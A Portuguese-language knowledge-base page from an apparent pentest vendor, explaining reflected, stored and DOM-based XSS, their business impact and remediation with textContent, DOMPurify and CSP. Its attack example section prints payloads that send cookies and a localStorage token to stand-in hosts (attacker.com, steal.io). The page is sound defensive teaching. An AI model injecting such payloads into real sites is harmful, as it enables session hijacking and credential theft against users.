← Base de Vulnerabilidades
Client-Side A03:2021-Injection CVSS 6.1

XSS — Cross-Site Scripting

XSS permite injeção de JavaScript malicioso em páginas web. Veja as 3 variantes (Reflected, Stored, DOM-based) com exemplos reais e como identificar no código.

Comum em: Campos de formulário, parâmetros de URL, sistemas de comentário, notificações · Dificuldade: Baixa — explorável com conhecimento básico de JavaScript

O Que É XSS

Cross-Site Scripting (XSS) é uma vulnerabilidade que permite injeção de scripts JavaScript maliciosos em páginas web visualizadas por outros usuários. Existem três variantes: Reflected (payload no URL/request), Stored (payload persistido no banco de dados) e DOM-based (manipulação do DOM via JavaScript sem interação com servidor). XSS Stored é a variante mais crítica — afeta todos os usuários que acessam a página comprometida.

Exemplo Real de Ataque

HTTP Request / Response
# XSS Reflected — payload na URL
GET /busca?q=<script>document.location='https://attacker.com/?c='+document.cookie</script>

# XSS Stored — payload persistido
POST /api/v1/comentarios
Content-Type: application/json
{"texto": "<img src=x onerror=fetch('https://steal.io/?s='+btoa(localStorage.getItem('token')))>"}

# XSS DOM — via fragment identifier
https://app.empresa.com/#<img src=x onerror=alert(document.domain)>

Impacto no Negócio e Compliance

Roubo de sessão (cookies HttpOnly não mitigam XSS DOM), keylogging de formulários de pagamento, phishing sobreposto à página legítima, redirecionamento para malware. Em SaaS B2B: comprometimento de sessões de administradores pode levar a escalada de privilégios e acesso a dados de todos os tenants.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Como Remediar

// ❌ INSEGURO — renderização de HTML sem sanitização
element.innerHTML = userInput;
document.write(userInput);

// ✅ SEGURO — use textContent para texto puro
element.textContent = userInput;

// ✅ SEGURO — sanitização com DOMPurify para HTML necessário
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

// ✅ Backend: Content-Security-Policy header
// Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

Como a Veyronn Detecta Esta Vulnerabilidade

Testamos XSS em todos os campos de input, parâmetros de URL, headers (User-Agent, Referer), respostas de API refletidas em UI, e sink de DOM (innerHTML, document.write, eval). Usamos payloads polimórficos para bypassar WAFs.

Pronto para Contratar seu Próximo Pentest?

Adquira nossa avaliação pontual feita pelos melhores profissionais do mercado ou implemente o software da Veyronn 24/7.